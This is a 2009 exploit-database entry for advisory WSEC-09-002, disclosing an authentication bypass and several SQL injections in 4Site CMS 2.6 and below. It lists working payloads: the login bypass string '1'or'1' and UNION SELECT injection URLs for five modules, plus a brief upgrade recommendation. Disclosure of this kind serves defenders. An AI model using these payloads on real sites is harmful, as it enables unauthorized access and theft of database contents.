[WSEC-09-002] 4Site CMS - exploit.company

vendor:

4Site CMS

by:

D.Mortalov

7.5

CVSS

HIGH

Multiple Remote SQL Injections

CWE

Product Name: 4Site CMS

Affected Version From: 2.6 and below

Affected Version To: 2.6

Patch Exists: YES

Related CWE: N/A

CPE: a:4site:4site_cms

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2009

[WSEC-09-002] 4Site CMS <= 2.6 Multiple Remote SQL Injections

4Site CMS version 2.6 and below is vulnerable to multiple remote SQL injections. An attacker can bypass authentication by using '1'or'1' as the username and password. Additionally, the 'Pages', 'Portfolio', 'Hotels', 'News', and 'FAQ' modules are vulnerable to SQL injection attacks.

Mitigation:

Upgrade to the latest version of 4Site CMS and ensure that all modules are up to date.

Source

Exploit-DB raw data:

[WSEC-09-002] 4Site CMS <= 2.6 Multiple Remote SQL Injections


Developer site: http://www.4site.ru/

Discovered by D.Mortalov // wsec.ru


1. Auth Bypass

Login: 1'or'1
Password: 1'orâ€™1


2. Multiple Remote SQL Injections in 4site CMS modules

"Pages" module:
http://vulnerable.site/print/print.shtml?page=-1+union+select+1

"Portfolio" module:
http://vulnerable.site/portfolio/index.shtml?s=1&i=-1+union+select+1,2,3,4,5,6,7,8,9
http://vulnerable.site/portfolio/index.shtml?s=-1+union+select+1

"Hotels" module:
http://vulnerable.site/hotel/?h=-1+union+select+1

"News" module:
http://vulnerable.site/news/news1.shtml?id=-1+union+select+1,2,3,4

"FAQ" module:
http://vulnerable.site/faq/index.shtml?th=-1+union+select+1

# milw0rm.com [2009-02-03]